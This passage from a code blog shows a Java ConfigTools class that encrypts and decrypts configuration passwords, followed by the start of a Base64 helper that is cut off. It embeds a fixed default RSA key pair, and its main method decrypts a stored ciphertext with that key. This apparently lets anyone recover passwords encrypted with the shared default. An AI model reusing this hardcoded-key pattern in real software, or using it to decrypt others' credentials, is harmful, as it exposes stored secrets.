class="line"><span class="keyword">import</span> java.security.KeyPair;</span><br><span class="line"><span class="keyword">import</span> java.security.KeyPairGenerator;</span><br><span class="line"><span class="keyword">import</span> java.security.NoSuchAlgorithmException;</span><br><span class="line"><span class="keyword">import</span> java.security.PrivateKey;</span><br><span class="line"><span class="keyword">import</span> java.security.PublicKey;</span><br><span class="line"><span class="keyword">import</span> java.security.SecureRandom;</span><br><span class="line"><span class="keyword">import</span> java.security.cert.Certificate;</span><br><span class="line"><span class="keyword">import</span> java.security.cert.CertificateFactory;</span><br><span class="line"><span class="keyword">import</span> java.security.interfaces.RSAPrivateKey;</span><br><span class="line"><span class="keyword">import</span> java.security.interfaces.RSAPublicKey;</span><br><span class="line"><span class="keyword">import</span> java.security.spec.PKCS8EncodedKeySpec;</span><br><span class="line"><span class="keyword">import</span> java.security.spec.RSAPrivateKeySpec;</span><br><span class="line"><span class="keyword">import</span> java.security.spec.RSAPublicKeySpec;</span><br><span class="line"><span class="keyword">import</span> java.security.spec.X509EncodedKeySpec;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.crypto.Cipher;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ConfigTools</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String DEFAULT_PRIVATE_KEY_STRING = <span class="string">"MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAocbCrurZGbC5GArEHKlAfDSZi7gFBnd4yxOt0rwTqKBFzGyhtQLu5PRKjEiOXVa95aeIIBJ6OhC2f8FjqFUpawIDAQABAkAPejKaBYHrwUqUEEOe8lpnB6lBAsQIUFnQI/vXU4MV+MhIzW0BLVZCiarIQqUXeOhThVWXKFt8GxCykrrUsQ6BAiEA4vMVxEHBovz1di3aozzFvSMdsjTcYRRo82hS5Ru2/OECIQC2fAPoXixVTVY7bNMeuxCP4954ZkXp7fEPDINCjcQDywIgcc8XLkkPcs3Jxk7uYofaXaPbg39wuJpEmzPIxi3k0OECIGubmdpOnin3HuCP/bbjbJLNNoUdGiEmFL5hDI4UdwAdAiEAtcAwbm08bKN7pwwvyqaCBC//VnEWaq39DCzxr+Z2EIk="</span>;</span><br><span class="line">	<span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String DEFAULT_PUBLIC_KEY_STRING = <span class="string">"MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKHGwq7q2RmwuRgKxBypQHw0mYu4BQZ3eMsTrdK8E6igRcxsobUC7uT0SoxIjl1WveWniCASejoQtn/BY6hVKWsCAwEAAQ=="</span>;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		System.out.println(decrypt(<span class="string">"MIqXaohFx7rvzJv5ZAb6ZvPPFDFMxL50yiAhks2Qg9822gi/X4to4UHJb10zCIN89B0n95nZWJTYtJ2SmZ0RTQ=="</span>));</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">decrypt</span><span class="params">(String cipherText)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="keyword">return</span> decrypt((String) <span class="keyword">null</span>, cipherText);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">decrypt</span><span class="params">(String publicKeyText, String cipherText)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		PublicKey publicKey = getPublicKey(publicKeyText);</span><br><span class="line"></span><br><span class="line">		<span class="keyword">return</span> decrypt(publicKey, cipherText);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> PublicKey <span class="title">getPublicKeyByX509</span><span class="params">(String x509File)</span> </span>&#123;</span><br><span class="line">		<span class="keyword">if</span> (x509File == <span class="keyword">null</span> || x509File.length() == <span class="number">0</span>) &#123;</span><br><span class="line">			<span class="keyword">return</span> ConfigTools.getPublicKey(<span class="keyword">null</span>);</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		FileInputStream in = <span class="keyword">null</span>;</span><br><span class="line">		<span class="keyword">try</span> &#123;</span><br><span class="line">			in = <span class="keyword">new</span> FileInputStream(x509File);</span><br><span class="line"></span><br><span class="line">			CertificateFactory factory = CertificateFactory</span><br><span class="line">					.getInstance(<span class="string">"X.509"</span>);</span><br><span class="line">			Certificate cer = factory.generateCertificate(in);</span><br><span class="line">			<span class="keyword">return</span> cer.getPublicKey();</span><br><span class="line">		&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">			<span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"Failed to get public key"</span>, e);</span><br><span class="line">		&#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">			<span class="keyword">try</span> &#123;</span><br><span class="line">				in.close();</span><br><span class="line">			&#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">				e.printStackTrace();</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> PublicKey <span class="title">getPublicKey</span><span class="params">(String publicKeyText)</span> </span>&#123;</span><br><span class="line">		<span class="keyword">if</span> (publicKeyText == <span class="keyword">null</span> || publicKeyText.length() == <span class="number">0</span>) &#123;</span><br><span class="line">			publicKeyText = ConfigTools.DEFAULT_PUBLIC_KEY_STRING;</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">try</span> &#123;</span><br><span class="line">			<span class="keyword">byte</span>[] publicKeyBytes = Base64.base64ToByteArray(publicKeyText);</span><br><span class="line">			X509EncodedKeySpec x509KeySpec = <span class="keyword">new</span> X509EncodedKeySpec(</span><br><span class="line">					publicKeyBytes);</span><br><span class="line"></span><br><span class="line">			KeyFactory keyFactory = KeyFactory.getInstance(<span class="string">"RSA"</span>);</span><br><span class="line">			<span class="keyword">return</span> keyFactory.generatePublic(x509KeySpec);</span><br><span class="line">		&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">			<span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"Failed to get public key"</span>, e);</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> PublicKey <span class="title">getPublicKeyByPublicKeyFile</span><span class="params">(String publicKeyFile)</span> </span>&#123;</span><br><span class="line">		<span class="keyword">if</span> (publicKeyFile == <span class="keyword">null</span> || publicKeyFile.length() == <span class="number">0</span>) &#123;</span><br><span class="line">			<span class="keyword">return</span> ConfigTools.getPublicKey(<span class="keyword">null</span>);</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		FileInputStream in = <span class="keyword">null</span>;</span><br><span class="line">		<span class="keyword">try</span> &#123;</span><br><span class="line">			in = <span class="keyword">new</span> FileInputStream(publicKeyFile);</span><br><span class="line">			ByteArrayOutputStream out = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line">			<span class="keyword">int</span> len = <span class="number">0</span>;</span><br><span class="line">			<span class="keyword">byte</span>[] b = <span class="keyword">new</span> <span class="keyword">byte</span>[<span class="number">512</span> / <span class="number">8</span>];</span><br><span class="line">			<span class="keyword">while</span> ((len = in.read(b)) != -<span class="number">1</span>) &#123;</span><br><span class="line">				out.write(b, <span class="number">0</span>, len);</span><br><span class="line">			&#125;</span><br><span class="line"></span><br><span class="line">			<span class="keyword">byte</span>[] publicKeyBytes = out.toByteArray();</span><br><span class="line">			X509EncodedKeySpec spec = <span class="keyword">new</span> X509EncodedKeySpec(publicKeyBytes);</span><br><span class="line">			KeyFactory factory = KeyFactory.getInstance(<span class="string">"RSA"</span>);</span><br><span class="line">			<span class="keyword">return</span> factory.generatePublic(spec);</span><br><span class="line">		&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">			<span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"Failed to get public key"</span>, e);</span><br><span class="line">		&#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">			<span class="keyword">try</span> &#123;</span><br><span class="line">				in.close();</span><br><span class="line">			&#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">				e.printStackTrace();</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">decrypt</span><span class="params">(PublicKey publicKey, String cipherText)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		Cipher cipher = Cipher.getInstance(<span class="string">"RSA"</span>);</span><br><span class="line">		<span class="keyword">try</span> &#123;</span><br><span class="line">			cipher.init(Cipher.DECRYPT_MODE, publicKey);</span><br><span class="line">		&#125; <span class="keyword">catch</span> (InvalidKeyException e) &#123;</span><br><span class="line">            <span class="comment">// 因为 IBM JDK 不支持私钥加密, 公钥解密, 所以要反转公私钥</span></span><br><span class="line">            <span class="comment">// 也就是说对于解密, 可以通过公钥的参数伪造一个私钥对象欺骗 IBM JDK</span></span><br><span class="line">            RSAPublicKey rsaPublicKey = (RSAPublicKey) publicKey;</span><br><span class="line">            RSAPrivateKeySpec spec = <span class="keyword">new</span> RSAPrivateKeySpec(rsaPublicKey.getModulus(), rsaPublicKey.getPublicExponent());</span><br><span class="line">            Key fakePrivateKey = KeyFactory.getInstance(<span class="string">"RSA"</span>).generatePrivate(spec);</span><br><span class="line">            cipher = Cipher.getInstance(<span class="string">"RSA"</span>); <span class="comment">//It is a stateful object. so we need to get new one.</span></span><br><span class="line">            cipher.init(Cipher.DECRYPT_MODE, fakePrivateKey);</span><br><span class="line">		&#125;</span><br><span class="line">		</span><br><span class="line">		<span class="keyword">if</span> (cipherText == <span class="keyword">null</span> || cipherText.length() == <span class="number">0</span>) &#123;</span><br><span class="line">			<span class="keyword">return</span> cipherText;</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">byte</span>[] cipherBytes = Base64.base64ToByteArray(cipherText);</span><br><span class="line">		<span class="keyword">byte</span>[] plainBytes = cipher.doFinal(cipherBytes);</span><br><span class="line"></span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">new</span> String(plainBytes);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">encrypt</span><span class="params">(String plainText)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="keyword">return</span> encrypt((String) <span class="keyword">null</span>, plainText);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">encrypt</span><span class="params">(String key, String plainText)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="keyword">if</span> (key == <span class="keyword">null</span>) &#123;</span><br><span class="line">			key = DEFAULT_PRIVATE_KEY_STRING;</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">byte</span>[] keyBytes = Base64.base64ToByteArray(key);</span><br><span class="line">		<span class="keyword">return</span> encrypt(keyBytes, plainText);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">encrypt</span><span class="params">(<span class="keyword">byte</span>[] keyBytes, String plainText)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		PKCS8EncodedKeySpec spec = <span class="keyword">new</span> PKCS8EncodedKeySpec(keyBytes);</span><br><span class="line">		KeyFactory factory = KeyFactory.getInstance(<span class="string">"RSA"</span>);</span><br><span class="line">		PrivateKey privateKey = factory.generatePrivate(spec);</span><br><span class="line">		Cipher cipher = Cipher.getInstance(<span class="string">"RSA"</span>);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">		    cipher.init(Cipher.ENCRYPT_MODE, privateKey);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InvalidKeyException e) &#123;</span><br><span class="line">            <span class="comment">//For IBM JDK, 原因请看解密方法中的说明</span></span><br><span class="line">            RSAPrivateKey rsaPrivateKey = (RSAPrivateKey) privateKey;</span><br><span class="line">            RSAPublicKeySpec publicKeySpec = <span class="keyword">new</span> RSAPublicKeySpec(rsaPrivateKey.getModulus(), rsaPrivateKey.getPrivateExponent());</span><br><span class="line">            Key fakePublicKey = KeyFactory.getInstance(<span class="string">"RSA"</span>).generatePublic(publicKeySpec);</span><br><span class="line">            cipher = Cipher.getInstance(<span class="string">"RSA"</span>);</span><br><span class="line">            cipher.init(Cipher.ENCRYPT_MODE, fakePublicKey);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">byte</span>[] encryptedBytes = cipher.doFinal(plainText.getBytes(<span class="string">"UTF-8"</span>));</span><br><span class="line">		String encryptedString = Base64.byteArrayToBase64(encryptedBytes);</span><br><span class="line"></span><br><span class="line">		<span class="keyword">return</span> encryptedString;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">byte</span>[][] genKeyPairBytes(<span class="keyword">int</span> keySize)</span><br><span class="line">			<span class="keyword">throws</span> NoSuchAlgorithmException &#123;</span><br><span class="line">		<span class="keyword">byte</span>[][] keyPairBytes = <span class="keyword">new</span> <span class="keyword">byte</span>[<span class="number">2</span>][];</span><br><span class="line"></span><br><span class="line">		KeyPairGenerator gen = KeyPairGenerator.getInstance(<span class="string">"RSA"</span>);</span><br><span class="line">		gen.initialize(keySize, <span class="keyword">new</span> SecureRandom());</span><br><span class="line">		KeyPair pair = gen.generateKeyPair();</span><br><span class="line"></span><br><span class="line">		keyPairBytes[<span class="number">0</span>] = pair.getPrivate().getEncoded();</span><br><span class="line">		keyPairBytes[<span class="number">1</span>] = pair.getPublic().getEncoded();</span><br><span class="line"></span><br><span class="line">		<span class="keyword">return</span> keyPairBytes;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">public</span> <span class="keyword">static</span> String[] genKeyPair(<span class="keyword">int</span> keySize)</span><br><span class="line">			<span class="keyword">throws</span> NoSuchAlgorithmException &#123;</span><br><span class="line">		<span class="keyword">byte</span>[][] keyPairBytes = genKeyPairBytes(keySize);</span><br><span class="line">		String[] keyPairs = <span class="keyword">new</span> String[<span class="number">2</span>];</span><br><span class="line"></span><br><span class="line">		keyPairs[<span class="number">0</span>] = Base64.byteArrayToBase64(keyPairBytes[<span class="number">0</span>]);</span><br><span class="line">		keyPairs[<span class="number">1</span>] = Base64.byteArrayToBase64(keyPairBytes[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">		<span class="keyword">return</span> keyPairs;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>BASE64工具</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.iswin.csv;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Static methods for translating Base64 encoded strings to byte arrays and vice-versa.</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> Josh Bloch</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@version</span> %I%, %G%</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@see</span> Preferences</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 1.4</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Base64</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Translates the specified byte array into a Base64 string as per Preferences.put(byte[]).</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">byteArrayToBase64</span><span class="params">(<span class="keyword">byte</span>[] a)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> byteArrayToBase64(a, <span class="keyword">false</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Translates the specified byte array into an "alternate representation" Base64 string. This non-standard variant</span></span><br><span class="line"><span class="comment">     * uses an alphabet that does not contain the uppercase alphabetic characters, which makes it suitable for use in</span></span><br><span class="line"><span class="comment">     * situations where case-folding occurs.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">byteArrayToAltBase64</span><span class="params">(<span class="keyword">byte</span>[] a)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> byteArrayToBase64(a, <span class="keyword">true</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title">byteArrayToBase64</span><span class="params">(<span class="keyword">byte</span>[] a, <span class="keyword">boolean</span> alternate)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">int</span> aLen = a.length;</span><br><span class="line">        <span class="keyword">int</span> numFullGroups = aLen / <span class="number">3</span>;</span><br><span class="line">        <span class="keyword">int</span> numBytesInPartialGroup = aLen - <span class="number">3</span> * numFullGroups;</span><br><span class="line">        <span class="keyword">int</span> resultLen = <span class="number">4</span> * ((aLen + <span class="number">2</span>) / <span class="number">3</span>);</span><br><span class="line">        StringBuilder result = <span class="keyword">new</span> StringBuilder(resultLen);</span><br><span class="line">        <span class="keyword">char</span>[] intToAlpha = (alternate ? intToAltBase64 : intToBase64);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Translate all full groups from byte array elements to Base64</span></span><br><span class="line">        <span class="keyword">int</span> inCursor = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; numFullGroups; i++) &#123;</span><br><span class="line">            <span class="keyword">int</span> byte0 = a[inCursor++] &amp; <span class="number">0xff</span>;</span><br><span class="line">            <span class="keyword">int</span> byte1 = a[inCursor++] &amp; <span class="number">0xff</span>;</span><br><span class="line">            <span class="keyword">int</span> byte2 = a[inCursor++] &amp; <span class="number">0xff</span>;</span><br><span class="line">            result.append(intToAlpha[byte0 &gt;&gt; <span class="number">2</span>]);</span><br><span class="line">            result.append(intToAlpha[(byte0 &lt;&lt; <span class="number">4</span>) &amp; <span class="number">0x3f</span> | (byte1 &gt;&gt; <span class="number">4</span>)]);</span><br><span class="line">            result.append(intToAlpha[(byte1 &lt;&lt; <span class="number">2</span>) &amp; <span class="number">0x3f</span> | (byte2 &gt;&gt; <span class="number">6</span>)]);</span><br><span class="line">            result.append(intToAlpha[byte2 &amp; <span class="number">0x3f</span>]);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Translate partial group if present</span></span><br><span class="line">        <span class="keyword">if</span> (numBytesInPartialGroup != <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">int</span> byte0 = a[inCursor++] &amp; <span class="number">0xff</span>;</span><br><span class="line">            result.append(intToAlpha[byte0 &gt;&gt; <span class="number">2</span>]);</span><br><span class="line">            <span class="keyword">if</span> (numBytesInPartialGroup == <span class="number">1</span>) &#123;</span><br><span class="line">                result.append(intToAlpha[(byte0 &lt;&lt; <span class="number">4</span>) &amp; <span class="number">0x3f</span>]);</span><br><span class="line">                result.append(<span class="string">"=="</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="comment">// assert numBytesInPartialGroup == 2;</span></span><br><span class="line">                <span class="keyword">int</span> byte1 = a[inCursor++] &amp; <span class="number">0xff</span>;</span><br><span class="line">                result.append(intToAlpha[(byte0 &lt;&lt; <span class="number">4</span>) &amp; <span class="number">0x3f</span> | (byte1 &gt;&gt; <span class="number">4</span>)]);</span><br><span class="line">                result.append(intToAlpha[(byte1 &lt;&lt; <span class="number">2</span>) &amp; <span class="number">0x3f</span>]);</span><br><span class="line">                result.append(<span class="string">'='</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// assert inCursor == a.length;</span></span><br><span class="line">        <span class="comment">// assert result.length() == resultLen;</span></span><br><span class="line">        <span class="keyword">return</span> result.toString();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * This array is a lookup table that translates 6-bit positive integer index values into their "Base64 Alphabet"</span></span><br><span class="line"><span class="comment">     * equivalents as specified in Table 1 of RFC 2045.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">char</span> intToBase64[]    = &#123; <span class="string">'A'</span>, <span class="string">'B'</span>, <span class="string">'C'</span>, <span class="string">'D'</span>, <span class="string">'E'</span>, <span class="string">'F'</span>, <span class="string">'G'</span>, <span class="string">'H'</span>, <span class="string">'I'</span>, <span class="string">'J'</span>, <span class="string">'K'</span>, <span class="string">'L'</span>, <span class="string">'M'</span>,</span><br><span class="line">            <span class="string">'N'</span>, <span class="string">'O'</span>, <span class="string">'P'</span>, <span class="string">'Q'</span>, <span class="string">'R'</span>, <span class="string">'S'</span>, <span class="string">'T'</span>, <span class="string">'U'</span>, <span class="string">'V'</span>, <span class="string">'W'</span>, <span class="string">'X'</span>, <span class="string">'Y'</span>, <span class="string">'Z'</span>, <span class="string">'a'</span>, <span class="string">'b'</span>, <span class="string">'c'</span>, <span class="string">'d'</span>, <span class="string">'e'</span>, <span class="string">'f'</span>, <span class="string">'g'</span>, <span class="string">'h'</span>,</span><br><span class="line">            <span class="string">'i'</span>, <span class="string">'j'</span>, <span class="string">'k'</span>, <span class="string">'l'</span>, <span class="string">'m'</span>, <span class="string">'n'</span>, <span class="string">'o'</span>, <span class="string">'p'</span>, <span class="string">'q'</span>, <span class="string">'r'</span>, <span class="string">'s'</span>, <span class="string">'t'</span>, <span class="string">'u'</span>, <span class="string">'v'</span>, <span class="string">'w'</span>, <span class="string">'x'</span>, <span class="string">'y'</span>, <span class="string">'z'</span>, <span class="string">'0'</span>, <span class="string">'1'</span>, <span class="string">'2'</span>,</span><br><span class="line">            <span class="string">'3'</span>, <span class="string">'4'</span>, <span class="string">'5'</span>, <span class="string">'6'</span>, <span class="string">'7'</span>, <span class="string">'8'</span>, <span class="string">'9'</span>, <span class="string">'+'</span>, <span class="string">'/'</span> &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * This array is a lookup table that translates 6-bit positive integer index values into their</span></span><br><span class="line"><span class="comment">     * "Alternate Base64 Alphabet" equivalents. This is NOT the real Base64 Alphabet as per in Table 1 of RFC 2045. This</span></span><br><span class="line"><span class="comment">     * alternate alphabet does not use the capital letters. It is designed for use in environments where "case folding"</span></span><br><span class="line"><span class="comment">     * occurs.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">char</span> intToAltBase64[] = &#123; <span class="string">'!'</span>, <span class="string">'"'</span>, <span class="string">'#'</span>, <span class="string">'$'</span>, <span class="string">'%'</span>, <span class="string">'&amp;'</span>, <span class="string">'\''</span>, <span class="string">'('</span>, <span class="string">')'</span>, <span class="string">','</span>, <span class="string">'-'</span>, <span class="string">'.'</span>, <span class="string">':'</span>,</span><br><span class="line">            <span class="string">';'</span>, <span class="string">'&lt;'</span>, <span class="string">'&gt;'</span>, <span class="string">'@'</span>, <span class="string">'['</span>, <span class="string">']'</span>, <span class="string">'^'</span>, <span class="string">'`'</span>, <span class="string">'_'</span>, <span class="string">'&#123;'</span>, <span class="string">'|'</span>, <span class="string">'&#125;'</span>, <span class="string">'~'</span>, <span class="string">'a'</span>, <span class="string">'b'</span>, <span class="string">'c'</span>, <span class="string">'d'</span>, <span class="string">'e'</span>, <span class="string">'f'</span>, <span class="string">'g'</span>, <span class="string">'h'</span>,</span><br><span class="line">            <span class="string">'i'</span>, <span class="string">'j'</span>, <span class="string">'k'</span>, <span class="string">'l'</span>, <span class="string">'m'</span>, <span class="string">'n'</span>, <span class="string">'o'</span>, <span class="string">'p'</span>, <span class="string">'q'</span>, <span class="string">'r'</span>, <span class="string">'s'</span>, <span class="string">'t'</span>, <span class="string">'u'</span>, <span class="string">'v'</span>, <span class="string">'w'</span>, <span class="string">'x'</span>, <span class="string">'y'</span>, <span class="string">'z'</span>, <span class="string">'0'</span>, <span class="string">'1'</span>, <span class="string">'2'</span>,</span><br><span class="line">            <span class="string">'3'</span>, <span class="string">'4'</span>, <span class="string">'5'</span>, <span class="string">'6'</span>, <span class="string">'7'</span>, <span class="string">'8'</span>, <span class="string">'9'</span>, 